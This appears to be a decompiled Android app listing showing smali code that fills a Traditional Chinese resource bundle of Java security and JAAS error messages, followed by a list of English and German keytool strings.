                                                                              2538const-string v3, "Principal \u985e\u5225\u672a\u63a5\u5728 Principal \u540d\u7a31\u4e4b\u5f8c"
                                                                              2539aput-object v3, v2, v5
                                                                              2540aput-object v2, v0, v1
                                                                              2541const/16 v1, 0x11a
                                                                              2542new-array v2, v6, [Ljava/lang/Object;
                                                                              2544const-string v3, "Principal Name must be surrounded by quotes"
                                                                              2545aput-object v3, v2, v4
                                                                              2547const-string v3, "Principal \u540d\u7a31\u5fc5\u9808\u4ee5\u5f15\u865f\u5708\u4f4f"
                                                                              2548aput-object v3, v2, v5
                                                                              2549aput-object v2, v0, v1
                                                                              2550const/16 v1, 0x11b
                                                                              2551new-array v2, v6, [Ljava/lang/Object;
                                                                              2553const-string v3, "Principal Name missing end quote"
                                                                              2554aput-object v3, v2, v4
                                                                              2556const-string v3, "Principal \u540d\u7a31\u7f3a\u5c11\u4e0b\u5f15\u865f"
                                                                              2557aput-object v3, v2, v5
                                                                              2558aput-object v2, v0, v1
                                                                              2559const/16 v1, 0x11c
                                                                              2560new-array v2, v6, [Ljava/lang/Object;
                                                                              2562const-string v3, "PrivateCredentialPermission Principal Class can not be a wildcard (*) value if Principal Name is not a wildcard (*) value"
                                                                              2563aput-object v3, v2, v4
                                                                              2565const-string v3, "\u5982\u679c Principal \u540d\u7a31\u4e0d\u662f\u4e00\u500b\u901a\u914d\u7b26\u865f (*) \u503c\uff0c\u90a3\u9ebc PrivateCredentialPermission Principal \u985e\u5225\u5c31\u4e0d\u6703\u662f\u4e00\u500b\u901a\u914d\u7b26\u865f (*) \u503c"
                                                                              2566aput-object v3, v2, v5
                                                                              2567aput-object v2, v0, v1
                                                                              2568const/16 v1, 0x11d
                                                                              2569new-array v2, v6, [Ljava/lang/Object;
                                                                              2571const-string v3, "CredOwner:\n\tPrincipal Class = class\n\tPrincipal Name = name"
                                                                              2572aput-object v3, v2, v4
                                                                              2574const-string v3, "CredOwner:\n\tPrincipal \u985e\u5225 = {0}\n\tPrincipal \u540d\u7a31 = {1}"
                                                                              2575aput-object v3, v2, v5
                                                                              2576aput-object v2, v0, v1
                                                                              2577const/16 v1, 0x11e
                                                                              2578new-array v2, v6, [Ljava/lang/Object;
                                                                              2580const-string v3, "provided null name"
                                                                              2581aput-object v3, v2, v4
                                                                              2583const-string v3, "\u63d0\u4f9b\u7a7a\u540d"
                                                                              2584aput-object v3, v2, v5
                                                                              2585aput-object v2, v0, v1
                                                                              2586const/16 v1, 0x11f
                                                                              2587new-array v2, v6, [Ljava/lang/Object;
                                                                              2589const-string v3, "provided null keyword map"
                                                                              2590aput-object v3, v2, v4
                                                                              2592const-string v3, "\u63d0\u4f9b\u7a7a\u7684\u95dc\u9375\u5b57\u5c0d\u6620"
                                                                              2593aput-object v3, v2, v5
                                                                              2594aput-object v2, v0, v1
                                                                              2595const/16 v1, 0x120
                                                                              2596new-array v2, v6, [Ljava/lang/Object;
                                                                              2598const-string v3, "provided null OID map"
                                                                              2599aput-object v3, v2, v4
                                                                              2601const-string v3, "\u63d0\u4f9b\u7a7a\u7684 OID \u5c0d\u6620"
                                                                              2602aput-object v3, v2, v5
                                                                              2603aput-object v2, v0, v1
                                                                              2604const/16 v1, 0x121
                                                                              2605new-array v2, v6, [Ljava/lang/Object;
                                                                              2607const-string v3, "invalid null AccessControlContext provided"
                                                                              2608aput-object v3, v2, v4
                                                                              2610const-string v3, "\u63d0\u4f9b\u7121\u6548\u7684\u7a7a AccessControlContext"
                                                                              2611aput-object v3, v2, v5
                                                                              2612aput-object v2, v0, v1
                                                                              2613const/16 v1, 0x122
                                                                              2614new-array v2, v6, [Ljava/lang/Object;
                                                                              2616const-string v3, "invalid null action provided"
                                                                              2617aput-object v3, v2, v4
                                                                              2619const-string v3, "\u63d0\u4f9b\u7121\u6548\u7684\u7a7a\u52d5\u4f5c"
                                                                              2620aput-object v3, v2, v5
                                                                              2621aput-object v2, v0, v1
                                                                              2622const/16 v1, 0x123
                                                                              2623new-array v2, v6, [Ljava/lang/Object;
                                                                              2625const-string v3, "invalid null Class provided"
                                                                              2626aput-object v3, v2, v4
                                                                              2628const-string v3, "\u63d0\u4f9b\u7121\u6548\u7684\u7a7a\u985e\u5225"
                                                                              2629aput-object v3, v2, v5
                                                                              2630aput-object v2, v0, v1
                                                                              2631const/16 v1, 0x124
                                                                              2632new-array v2, v6, [Ljava/lang/Object;
                                                                              2634const-string v3, "Subject:\n"
                                                                              2635aput-object v3, v2, v4
                                                                              2637const-string v3, "\u4e3b\u984c\uff1a\n"
                                                                              2638aput-object v3, v2, v5
                                                                              2639aput-object v2, v0, v1
                                                                              2640const/16 v1, 0x125
                                                                              2641new-array v2, v6, [Ljava/lang/Object;
                                                                              2643const-string v3, "\tPrincipal: "
                                                                              2644aput-object v3, v2, v4
                                                                              2646const-string v3, "\tPrincipal: "
                                                                              2647aput-object v3, v2, v5
                                                                              2648aput-object v2, v0, v1
                                                                              2649const/16 v1, 0x126
                                                                              2650new-array v2, v6, [Ljava/lang/Object;
                                                                              2652const-string v3, "\tPublic Credential: "
                                                                              2653aput-object v3, v2, v4
                                                                              2655const-string v3, "\t\u516c\u7528\u8a8d\u8b49 "
                                                                              2656aput-object v3, v2, v5
                                                                              2657aput-object v2, v0, v1
                                                                              2658const/16 v1, 0x127
                                                                              2659new-array v2, v6, [Ljava/lang/Object;
                                                                              2661const-string v3, "\tPrivate Credentials inaccessible\n"
                                                                              2662aput-object v3, v2, v4
                                                                              2664const-string v3, "\t\u79c1\u4eba\u8a8d\u8b49\u7121\u6cd5\u9032\u5165\n"
                                                                              2665aput-object v3, v2, v5
                                                                              2666aput-object v2, v0, v1
                                                                              2667const/16 v1, 0x128
                                                                              2668new-array v2, v6, [Ljava/lang/Object;
                                                                              2670const-string v3, "\tPrivate Credential: "
                                                                              2671aput-object v3, v2, v4
                                                                              2673const-string v3, "\t\u79c1\u4eba\u6388\u6b0a "
                                                                              2674aput-object v3, v2, v5
                                                                              2675aput-object v2, v0, v1
                                                                              2676const/16 v1, 0x129
                                                                              2677new-array v2, v6, [Ljava/lang/Object;
                                                                              2679const-string v3, "\tPrivate Credential inaccessible\n"
                                                                              2680aput-object v3, v2, v4
                                                                              2682const-string v3, "\t\u79c1\u4eba\u8a8d\u8b49\u7121\u6cd5\u9032\u5165\n"
                                                                              2683aput-object v3, v2, v5
                                                                              2684aput-object v2, v0, v1
                                                                              2685const/16 v1, 0x12a
                                                                              2686new-array v2, v6, [Ljava/lang/Object;
                                                                              2688const-string v3, "Subject is read-only"
                                                                              2689aput-object v3, v2, v4
                                                                              2691const-string v3, "\u4e3b\u984c\u70ba\u552f\u8b80"
                                                                              2692aput-object v3, v2, v5
                                                                              2693aput-object v2, v0, v1
                                                                              2694const/16 v1, 0x12b
                                                                              2695new-array v2, v6, [Ljava/lang/Object;
                                                                              2697const-string v3, "attempting to add an object which is not an instance of java.security.Principal to a Subject\'s Principal Set"
                                                                              2698aput-object v3, v2, v4
                                                                              2700const-string v3, "\u8a66\u5716\u65b0\u589e\u4e00\u500b\u975e java.security.Principal \u6848\u4f8b\u7684\u7269\u4ef6\u81f3\u4e3b\u984c\u7684 Principal \u7fa4\u4e2d"
                                                                              2701aput-object v3, v2, v5
                                                                              2702aput-object v2, v0, v1
                                                                              2703const/16 v1, 0x12c
                                                                              2704new-array v2, v6, [Ljava/lang/Object;
                                                                              2706const-string v3, "attempting to add an object which is not an instance of class"
                                                                              2707aput-object v3, v2, v4
                                                                              2709const-string v3, "\u8a66\u5716\u65b0\u589e\u4e00\u500b\u975e {0} \u6848\u4f8b\u7684\u7269\u4ef6"
                                                                              2710aput-object v3, v2, v5
                                                                              2711aput-object v2, v0, v1
                                                                              2712const/16 v1, 0x12d
                                                                              2713new-array v2, v6, [Ljava/lang/Object;
                                                                              2715const-string v3, "LoginModuleControlFlag: "
                                                                              2716aput-object v3, v2, v4
                                                                              2718const-string v3, "LoginModuleControlFlag: "
                                                                              2719aput-object v3, v2, v5
                                                                              2720aput-object v2, v0, v1
                                                                              2721const/16 v1, 0x12e
                                                                              2722new-array v2, v6, [Ljava/lang/Object;
                                                                              2724const-string v3, "Invalid null input: name"
                                                                              2725aput-object v3, v2, v4
                                                                              2727const-string v3, "\u7121\u6548\u7a7a\u8f38\u5165\uff1a \u540d\u7a31"
                                                                              2728aput-object v3, v2, v5
                                                                              2729aput-object v2, v0, v1
                                                                              2730const/16 v1, 0x12f
                                                                              2731new-array v2, v6, [Ljava/lang/Object;
                                                                              2733const-string v3, "No LoginModules configured for name"
                                                                              2734aput-object v3, v2, v4
                                                                              2736const-string v3, "\u7121\u91dd\u5c0d {0} \u914d\u7f6e\u7684 LoginModules"
                                                                              2737aput-object v3, v2, v5
                                                                              2738aput-object v2, v0, v1
                                                                              2739const/16 v1, 0x130
                                                                              2740new-array v2, v6, [Ljava/lang/Object;
                                                                              2742const-string v3, "invalid null Subject provided"
                                                                              2743aput-object v3, v2, v4
                                                                              2745const-string v3, "\u63d0\u4f9b\u7121\u6548\u7a7a\u4e3b\u984c"
                                                                              2746aput-object v3, v2, v5
                                                                              2747aput-object v2, v0, v1
                                                                              2748const/16 v1, 0x131
                                                                              2749new-array v2, v6, [Ljava/lang/Object;
                                                                              2751const-string v3, "invalid null CallbackHandler provided"
                                                                              2752aput-object v3, v2, v4
                                                                              2754const-string v3, "\u63d0\u4f9b\u7121\u6548\u7a7a CallbackHandler"
                                                                              2755aput-object v3, v2, v5
                                                                              2756aput-object v2, v0, v1
                                                                              2757const/16 v1, 0x132
                                                                              2758new-array v2, v6, [Ljava/lang/Object;
                                                                              2760const-string v3, "null subject - logout called before login"
                                                                              2761aput-object v3, v2, v4
                                                                              2763const-string v3, "\u7a7a\u4e3b\u984c - \u5728\u767b\u5165\u4e4b\u524d\u5373\u547c\u53eb\u767b\u51fa"
                                                                              2764aput-object v3, v2, v5
                                                                              2765aput-object v2, v0, v1
                                                                              2766const/16 v1, 0x133
                                                                              2767new-array v2, v6, [Ljava/lang/Object;
                                                                              2769const-string v3, "unable to instantiate LoginModule, module, because it does not provide a no-argument constructor"
                                                                              2770aput-object v3, v2, v4
                                                                              2772const-string v3, "\u7121\u6cd5\u5be6\u5217\u5316 LoginModule\uff0c{0}\uff0c\u56e0\u70ba\u5b83\u4e26\u672a\u63d0\u4f9b\u4e00\u500b\u975e\u5f15\u6578\u7684\u69cb\u9020\u51fd\u6578"
                                                                              2773aput-object v3, v2, v5
                                                                              2774aput-object v2, v0, v1
                                                                              2775const/16 v1, 0x134
                                                                              2776new-array v2, v6, [Ljava/lang/Object;
                                                                              2778const-string v3, "unable to instantiate LoginModule"
                                                                              2779aput-object v3, v2, v4
                                                                              2781const-string v3, "\u7121\u6cd5\u5be6\u4f8b\u5316 LoginModule"
                                                                              2782aput-object v3, v2, v5
                                                                              2783aput-object v2, v0, v1
                                                                              2784const/16 v1, 0x135
                                                                              2785new-array v2, v6, [Ljava/lang/Object;
                                                                              2787const-string v3, "unable to instantiate LoginModule: "
                                                                              2788aput-object v3, v2, v4
                                                                              2790const-string v3, "\u7121\u6cd5\u5275\u8a2d LoginModule\uff1a"
                                                                              2791aput-object v3, v2, v5
                                                                              2792aput-object v2, v0, v1
                                                                              2793const/16 v1, 0x136
                                                                              2794new-array v2, v6, [Ljava/lang/Object;
                                                                              2796const-string v3, "unable to find LoginModule class: "
                                                                              2797aput-object v3, v2, v4
                                                                              2799const-string v3, "\u7121\u6cd5\u627e\u5230 LoginModule \u985e\u5225\uff1a "
                                                                              2800aput-object v3, v2, v5
                                                                              2801aput-object v2, v0, v1
                                                                              2802const/16 v1, 0x137
                                                                              2803new-array v2, v6, [Ljava/lang/Object;
                                                                              2805const-string v3, "unable to access LoginModule: "
                                                                              2806aput-object v3, v2, v4
                                                                              2808const-string v3, "\u7121\u6cd5\u5b58\u53d6 LoginModule: "
                                                                              2809aput-object v3, v2, v5
                                                                              2810aput-object v2, v0, v1
                                                                              2811const/16 v1, 0x138
                                                                              2812new-array v2, v6, [Ljava/lang/Object;
                                                                              2814const-string v3, "Login Failure: all modules ignored"
                                                                              2815aput-object v3, v2, v4
                                                                              2817const-string v3, "\u767b\u5165\u5931\u6557\uff1a \u5ffd\u7565\u6240\u6709\u6a21\u7d44"
                                                                              2818aput-object v3, v2, v5
                                                                              2819aput-object v2, v0, v1
                                                                              2820const/16 v1, 0x139
                                                                              2821new-array v2, v6, [Ljava/lang/Object;
                                                                              2823const-string v3, "java.security.policy: error parsing policy:\n\tmessage"
                                                                              2824aput-object v3, v2, v4
                                                                              2826const-string v3, "java.security.policy: \u89e3\u6790\u932f\u8aa4 {0}\uff1a\n\t{1}"
                                                                              2827aput-object v3, v2, v5
                                                                              2828aput-object v2, v0, v1
                                                                              2829const/16 v1, 0x13a
                                                                              2830new-array v2, v6, [Ljava/lang/Object;
                                                                              2832const-string v3, "java.security.policy: error adding Permission, perm:\n\tmessage"
                                                                              2833aput-object v3, v2, v4
                                                                              2835const-string v3, "java.security.policy: \u65b0\u589e\u8a31\u53ef\u6b0a\u932f\u8aa4 {0}\uff1a\n\t{1}"
                                                                              2836aput-object v3, v2, v5
                                                                              2837aput-object v2, v0, v1
                                                                              2838const/16 v1, 0x13b
                                                                              2839new-array v2, v6, [Ljava/lang/Object;
                                                                              2841const-string v3, "java.security.policy: error adding Entry:\n\tmessage"
                                                                              2842aput-object v3, v2, v4
                                                                              2844const-string v3, "java.security.policy: \u65b0\u589e\u9805\u76ee\u932f\u8aa4\uff1a\n\t{0}"
                                                                              2845aput-object v3, v2, v5
                                                                              2846aput-object v2, v0, v1
                                                                              2847const/16 v1, 0x13c
                                                                              2848new-array v2, v6, [Ljava/lang/Object;
                                                                              2850const-string v3, "alias name not provided (pe.name)"
                                                                              2851aput-object v3, v2, v4
                                                                              2853const-string v3, "\u5225\u540d\u540d\u7a31 ({0}) \u672a\u63d0\u4f9b"
                                                                              2854aput-object v3, v2, v5
                                                                              2855aput-object v2, v0, v1
                                                                              2856const/16 v1, 0x13d
                                                                              2857new-array v2, v6, [Ljava/lang/Object;
                                                                              2859const-string v3, "unable to perform substitution on alias, suffix"
                                                                              2860aput-object v3, v2, v4
                                                                              2862const-string v3, "\u7121\u6cd5\u5c0d\u5225\u540d\u57f7\u884c\u66ff\u63db\uff0c{0}"
                                                                              2863aput-object v3, v2, v5
                                                                              2864aput-object v2, v0, v1
                                                                              2865const/16 v1, 0x13e
                                                                              2866new-array v2, v6, [Ljava/lang/Object;
                                                                              2868const-string v3, "substitution value, prefix, unsupported"
                                                                              2869aput-object v3, v2, v4
                                                                              2871const-string v3, "\u4e0d\u652f\u63f4\u7684\u66ff\u63db\u503c\uff0c{0}"
                                                                              2872aput-object v3, v2, v5
                                                                              2873aput-object v2, v0, v1
                                                                              2874const/16 v1, 0x13f
                                                                              2875new-array v2, v6, [Ljava/lang/Object;
                                                                              2877const-string v3, "("
                                                                              2878aput-object v3, v2, v4
                                                                              2880const-string v3, "("
                                                                              2881aput-object v3, v2, v5
                                                                              2882aput-object v2, v0, v1
                                                                              2883const/16 v1, 0x140
                                                                              2884new-array v2, v6, [Ljava/lang/Object;
                                                                              2886const-string v3, ")"
                                                                              2887aput-object v3, v2, v4
                                                                              2889const-string v3, ")"
                                                                              2890aput-object v3, v2, v5
                                                                              2891aput-object v2, v0, v1
                                                                              2892const/16 v1, 0x141
                                                                              2893new-array v2, v6, [Ljava/lang/Object;
                                                                              2895const-string v3, "type can\'t be null"
                                                                              2896aput-object v3, v2, v4
                                                                              2898const-string v3, "\u4e0d\u80fd\u70ba\u7a7a\u8f38\u5165"
                                                                              2899aput-object v3, v2, v5
                                                                              2900aput-object v2, v0, v1
                                                                              2901const/16 v1, 0x142
                                                                              2902new-array v2, v6, [Ljava/lang/Object;
                                                                              2904const-string v3, "keystorePasswordURL can not be specified without also specifying keystore"
                                                                              2905aput-object v3, v2, v4
                                                                              2907const-string v3, "\u6307\u5b9a keystorePasswordURL \u9700\u8981\u540c\u6642\u6307\u5b9a keystore"
                                                                              2908aput-object v3, v2, v5
                                                                              2909aput-object v2, v0, v1
                                                                              2910const/16 v1, 0x143
                                                                              2911new-array v2, v6, [Ljava/lang/Object;
                                                                              2913const-string v3, "expected keystore type"
                                                                              2914aput-object v3, v2, v4
                                                                              2916const-string v3, "\u9810\u671f\u7684 keystore \u985e\u578b"
                                                                              2917aput-object v3, v2, v5
                                                                              2918aput-object v2, v0, v1
                                                                              2919const/16 v1, 0x144
                                                                              2920new-array v2, v6, [Ljava/lang/Object;
                                                                              2922const-string v3, "expected keystore provider"
                                                                              2923aput-object v3, v2, v4
                                                                              2925const-string v3, "\u9810\u671f\u7684 keystore \u63d0\u4f9b\u8005"
                                                                              2926aput-object v3, v2, v5
                                                                              2927aput-object v2, v0, v1
                                                                              2928const/16 v1, 0x145
                                                                              2929new-array v2, v6, [Ljava/lang/Object;
                                                                              2931const-string v3, "multiple Codebase expressions"
                                                                              2932aput-object v3, v2, v4
                                                                              2934const-string v3, "\u591a\u52d5 Codebase \u8868\u793a\u5f0f"
                                                                              2935aput-object v3, v2, v5
                                                                              2936aput-object v2, v0, v1
                                                                              2937const/16 v1, 0x146
                                                                              2938new-array v2, v6, [Ljava/lang/Object;
                                                                              2940const-string v3, "multiple SignedBy expressions"
                                                                              2941aput-object v3, v2, v4
                                                                              2943const-string v3, "\u591a\u91cd SignedBy \u8868\u793a\u5f0f"
                                                                              2944aput-object v3, v2, v5
                                                                              2945aput-object v2, v0, v1
                                                                              2946const/16 v1, 0x147
                                                                              2947new-array v2, v6, [Ljava/lang/Object;
                                                                              2949const-string v3, "SignedBy has empty alias"
                                                                              2950aput-object v3, v2, v4
                                                                              2952const-string v3, "SignedBy \u6709\u7a7a\u5225\u540d"
                                                                              2953aput-object v3, v2, v5
                                                                              2954aput-object v2, v0, v1
                                                                              2955const/16 v1, 0x148
                                                                              2956new-array v2, v6, [Ljava/lang/Object;
                                                                              2958const-string v3, "can not specify Principal with a wildcard class without a wildcard name"
                                                                              2959aput-object v3, v2, v4
                                                                              2961const-string v3, "\u6c92\u6709\u901a\u914d\u7b26\u865f\u540d\u7a31\uff0c\u7121\u6cd5\u6307\u5b9a\u542b\u6709\u901a\u914d\u7b26\u865f\u985e\u5225\u7684 Principal"
                                                                              2962aput-object v3, v2, v5
                                                                              2963aput-object v2, v0, v1
                                                                              2964const/16 v1, 0x149
                                                                              2965new-array v2, v6, [Ljava/lang/Object;
                                                                              2967const-string v3, "expected codeBase or SignedBy or Principal"
                                                                              2968aput-object v3, v2, v4
                                                                              2970const-string v3, "\u9810\u671f\u7684 codeBase \u6216 SignedBy \u6216 Principal"
                                                                              2971aput-object v3, v2, v5
                                                                              2972aput-object v2, v0, v1
                                                                              2973const/16 v1, 0x14a
                                                                              2974new-array v2, v6, [Ljava/lang/Object;
                                                                              2976const-string v3, "expected permission entry"
                                                                              2977aput-object v3, v2, v4
                                                                              2979const-string v3, "\u9810\u671f\u7684\u8a31\u53ef\u6b0a\u9805\u76ee"
                                                                              2980aput-object v3, v2, v5
                                                                              2981aput-object v2, v0, v1
                                                                              2982const/16 v1, 0x14b
                                                                              2983new-array v2, v6, [Ljava/lang/Object;
                                                                              2985const-string v3, "number "
                                                                              2986aput-object v3, v2, v4
                                                                              2988const-string v3, "\u865f\u78bc "
                                                                              2989aput-object v3, v2, v5
                                                                              2990aput-object v2, v0, v1
                                                                              2991const/16 v1, 0x14c
                                                                              2992new-array v2, v6, [Ljava/lang/Object;
                                                                              2994const-string v3, "expected [expect], read [end of file]"
                                                                              2995aput-object v3, v2, v4
                                                                              2997const-string v3, "\u9810\u671f\u7684 [{0}], \u8b80\u53d6 [end of file]"
                                                                              2998aput-object v3, v2, v5
                                                                              2999aput-object v2, v0, v1
                                                                              3000const/16 v1, 0x14d
                                                                              3001new-array v2, v6, [Ljava/lang/Object;
                                                                              3003const-string v3, "expected [;], read [end of file]"
                                                                              3004aput-object v3, v2, v4
                                                                              3006const-string v3, "\u9810\u671f\u7684 [;], \u8b80\u53d6 [end of file]"
                                                                              3007aput-object v3, v2, v5
                                                                              3008aput-object v2, v0, v1
                                                                              3009const/16 v1, 0x14e
                                                                              3010new-array v2, v6, [Ljava/lang/Object;
                                                                              3012const-string v3, "line number: msg"
                                                                              3013aput-object v3, v2, v4
                                                                              3015const-string v3, "\u884c {0}\uff1a {1}"
                                                                              3016aput-object v3, v2, v5
                                                                              3017aput-object v2, v0, v1
                                                                              3018const/16 v1, 0x14f
                                                                              3019new-array v2, v6, [Ljava/lang/Object;
                                                                              3021const-string v3, "line number: expected [expect], found [actual]"
                                                                              3022aput-object v3, v2, v4
                                                                              3024const-string v3, "\u884c {0}\uff1a \u9810\u671f\u7684 [{1}]\uff0c\u767c\u73fe [{2}]"
                                                                              3025aput-object v3, v2, v5
                                                                              3026aput-object v2, v0, v1
                                                                              3027const/16 v1, 0x150
                                                                              3028new-array v2, v6, [Ljava/lang/Object;
                                                                              3030const-string v3, "null principalClass or principalName"
                                                                              3031aput-object v3, v2, v4
                                                                              3033const-string v3, "\u7a7a principalClass \u6216 principalName"
                                                                              3034aput-object v3, v2, v5
                                                                              3035aput-object v2, v0, v1
                                                                              3036const/16 v1, 0x151
                                                                              3037new-array v2, v6, [Ljava/lang/Object;
                                                                              3039const-string v3, "PKCS11 Token [providerName] Password: "
                                                                              3040aput-object v3, v2, v4
                                                                              3042const-string v3, "PKCS11 \u8a18\u865f [{0}] \u5bc6\u78bc\uff1a "
                                                                              3043aput-object v3, v2, v5
                                                                              3044aput-object v2, v0, v1
                                                                              3045const/16 v1, 0x152
                                                                              3046new-array v2, v6, [Ljava/lang/Object;
                                                                              3048const-string v3, "unable to instantiate Subject-based policy"
                                                                              3049aput-object v3, v2, v4
                                                                              3051const-string v3, "\u7121\u6cd5\u5275\u8a2d\u57fa\u65bc\u4e3b\u9ad4\u7684\u7b56\u7565"
                                                                              3052aput-object v3, v2, v5
                                                                              3053aput-object v2, v0, v1
                                                                              3054sput-object v0, Lcom/android/leech/patch/apksigner/sun/security/util/Resources_zh_TW;->contents:[[Ljava/lang/Object;
                                                                              3055return-void
                                                                              APIs
                                                                              Strings
                                                                              • ,
                                                                              • \n
                                                                              • *******************************************
                                                                              • *******************************************\n\n
                                                                              • keytool error:
                                                                              • Keytool-Fehler:
                                                                              • Illegal option:
                                                                              • Unzul\u00e4ssige Option:
                                                                              • Try keytool -help
                                                                              • Verwenden Sie den Befehl keytool -help
                                                                              • Command option <flag> needs an argument.
                                                                              • Befehlsoption {0} ben\u00f6tigt ein Argument.
                                                                              • Warning: Different store and key passwords not supported for PKCS12 KeyStores. Ignoring user-specified <command> value.
                                                                              • Warnung: Keine Unterst\u00fctzung f\u00fcr unterschiedliche Speicher- und Schl\u00fcsselpassw\u00f6rter bei PKCS12 KeyStores. Der benutzerdefinierte Wert {0} wird ignoriert.
                                                                              • -keystore must be NONE if -storetype is {0}
                                                                              • -keystore muss NONE sein, wenn -storetype gleich {0} ist
                                                                              • Too may retries, program terminated
                                                                              • Zu viele erneute Versuche, das Programm wird beendet.
                                                                              • -storepasswd and -keypasswd commands not supported if -storetype is {0}
                                                                              • Die Befehle -storepasswd und -keypasswd werden nicht unterst\u00fctzt, wenn -storetype gleich {0} ist
                                                                              • -keypasswd commands not supported if -storetype is PKCS12
                                                                              • Befehle des Typs -keypasswd werden nicht unterst\u00fctzt, wenn -storetype gleich PKCS12
                                                                              • -keypass and -new can not be specified if -storetype is {0}
                                                                              • Die Befehle -keypass und -new k\u00f6nnen nicht spezifiziert werden, wenn -storetype gleich {0} ist
                                                                              • if -protected is specified, then -storepass, -keypass, and -new must not be specified
                                                                              • Wenn -protected angegeben ist, d\u00fcrfen -storepass, -keypass und -new nicht angegeben werden
                                                                              • if -srcprotected is specified, then -srcstorepass and -srckeypass must not be specified
                                                                              • wenn -srcprotected angegeben ist, d\u00fcrfen -srcstorepass und -srckeypass nicht angegeben sein
                                                                              • if keystore is not password protected, then -storepass, -keypass, and -new must not be specified
                                                                              • Wenn der Keystore nicht passwortgesch\u00fctzt ist, d\u00fcrfen -storepass, -keypass und -new nicht spezifiziert werden
                                                                              • if source keystore is not password protected, then -srcstorepass and -srckeypass must not be specified
                                                                              • Wenn der Quell-Keystore nicht passwortgesch\u00fctzt ist, d\u00fcrfen -srcstorepass und -srckeypass nicht spezifiziert werden
                                                                              • Validity must be greater than zero
                                                                              • G\u00fcltigkeit muss gr\u00f6\u00dfer als Null sein
                                                                              • provName not a provider
                                                                              • {0} kein Provider
                                                                              • Usage error: no command provided
                                                                              • Verwendungsfehler: kein Befehl angegeben
                                                                              • Usage error, <arg> is not a legal command
                                                                              • Verwendungsfehler: {0} ist kein g\u00fcltiger Befehl
                                                                              • Source keystore file exists, but is empty:
                                                                              • Datei f\u00fcr Quell-Keystore ist zwar vorhanden, aber leer:
                                                                              • Please specify -srckeystore
                                                                              • Geben Sie \u0096srckeystore an
                                                                              • Must not specify both -v and -rfc with \'list\' command
                                                                              • -v und -rfc d\u00fcrfen bei Befehl \'list\' nicht beide angegeben werden
                                                                              • Key password must be at least 6 characters
                                                                              • Schl\u00fcsselpasswort muss mindestens 6 Zeichen lang sein
                                                                              • New password must be at least 6 characters
                                                                              • Neues Passwort muss mindest 6 Zeichen lang sein
                                                                              • Keystore file exists, but is empty:
                                                                              • Keystore-Datei vorhanden, aber leer:
                                                                              • Keystore file does not exist:
                                                                              • Keystore-Datei nicht vorhanden:
                                                                              • Must specify destination alias
                                                                              • Zielalias muss angegeben werden.
                                                                              • Must specify alias
                                                                              • Alias muss angegeben werden.
                                                                              • Keystore password must be at least 6 characters
                                                                              • Keystore-Passwort muss mindestens 6 Zeichen lang sein.
                                                                              • Enter keystore password:
                                                                              • Geben Sie das Keystore-Passwort ein:
                                                                              • Enter source keystore password:
                                                                              • Geben Sie das Passwort f\u00fcr den Quell-Keystore ein:
                                                                              • Enter destination keystore password:
                                                                              • Geben Sie das Passwort f\u00fcr den Ziel-Keystore ein:
                                                                              • Keystore password is too short - must be at least 6 characters
                                                                              • Keystore-Passwort zu kurz - muss mindestens 6 Zeichen lang sein.
                                                                              • Unknown Entry Type
                                                                              • Unbekannter Eintragstyp
                                                                              • Too many failures. Alias not changed
                                                                              • Zu viele Fehler. Alias nicht ge\u00e4ndert
                                                                              • Entry for alias <alias> successfully imported.
                                                                              • Eintrag f\u00fcr Alias {0} erfolgreich importiert.
                                                                              • Entry for alias <alias> not imported.
                                                                              • Eintrag f\u00fcr Alias {0} nicht importiert.
                                                                              • Problem importing entry for alias <alias>: <exception>.\nEntry for alias <alias> not imported.
                                                                              • Fehler beim Importieren des Eintrags f\u00fcr Alias {0}: {1}.\nEintrag f\u00fcr Alias {0} nicht importiert.
                                                                              • Import command completed: <ok> entries successfully imported, <fail> entries failed or cancelled
                                                                              • Importbefehl abgeschlossen: {0} Eintr\u00e4ge erfolgreich importiert, Fehler oder Abbruch bei {1} Eintr\u00e4gen
                                                                              • Warning: Overwriting existing alias <alias> in destination keystore
                                                                              • Warnung: \u00dcberschreiben von vorhandenem Alias {0} in Ziel-Keystore
                                                                              • Existing entry alias <alias> exists, overwrite? [no]:
                                                                              • Eintrags-Alias {0} bereits vorhanden. \u00dcberschreiben? [Nein]:
                                                                              • Too many failures - try later
                                                                              • Zu viele Fehler - versuchen Sie es sp\u00e4ter noch einmal.
                                                                              • Certification request stored in file <filename>
                                                                              • Zertifizierungsanforderung in Datei <{0}> gespeichert.
                                                                              • Submit this to your CA
                                                                              • Reichen Sie dies bei Ihrem CA ein.
                                                                              • if alias not specified, destalias, srckeypass, and destkeypass must not be specified
                                                                              • wenn kein Alias angegeben ist, m\u00fcssen destalias, srckeypass und destkeypass nicht angegeben werden
                                                                              • Certificate stored in file <filename>
                                                                              • Zertifikat in Datei <{0}> gespeichert.
                                                                              • Certificate reply was installed in keystore
                                                                              • Zertifikatantwort wurde in Keystore installiert.
                                                                              • Certificate reply was not installed in keystore
                                                                              • Zertifikatantwort wurde nicht in Keystore installiert.
                                                                              • Certificate was added to keystore
                                                                              • Zertifikat wurde zu Keystore hinzugef\u00fcgt.
                                                                              • Certificate was not added to keystore
                                                                              • Zertifikat wurde nicht zu Keystore hinzugef\u00fcgt.
                                                                              • [Storing ksfname]
                                                                              • [{0} wird gesichert.]
                                                                              • alias has no public key (certificate)
                                                                              • {0} hat keinen \u00f6ffentlichen Schl\u00fcssel (Zertifikat).
                                                                              • Cannot derive signature algorithm
                                                                              • Signaturalgorithmus kann nicht abgeleitet werden.
                                                                              • Alias <alias> does not exist
                                                                              • Alias <{0}> existiert nicht.
                                                                              • Alias <alias> has no certificate
                                                                              • Alias <{0}> hat kein Zertifikat.
                                                                              • Key pair not generated, alias <alias> already exists
                                                                              • Schl\u00fcsselpaar wurde nicht erzeugt, Alias <{0}> ist bereits vorhanden.
                                                                              • Generating keysize bit keyAlgName key pair and self-signed certificate (sigAlgName) with a validity of validality days\n\tfor: x500Name
                                                                              • Erstellen von Schl\u00fcsselpaar (Typ {1}, {0} Bit) und selbstunterzeichnetem Zertifikat ({2}) mit einer G\u00fcltigkeit von {3} Tagen\n\tf\u00fcr: {4}
                                                                              • Enter key password for <alias>
                                                                              • Geben Sie das Passwort f\u00fcr <{0}> ein.
                                                                              • \t(RETURN if same as keystore password):
                                                                              • \t(EINGABETASTE, wenn Passwort dasselbe wie f\u00fcr Keystore):
                                                                              • Key password is too short - must be at least 6 characters
                                                                              • Schl\u00fcsselpasswort zu kurz - muss mindestens 6 Zeichen lang sein.
                                                                              • Too many failures - key not added to keystore
                                                                              • Zu viele Fehler - Schl\u00fcssel wurde nicht zu Keystore hinzugef\u00fcgt.
                                                                              • Destination alias <dest> already exists
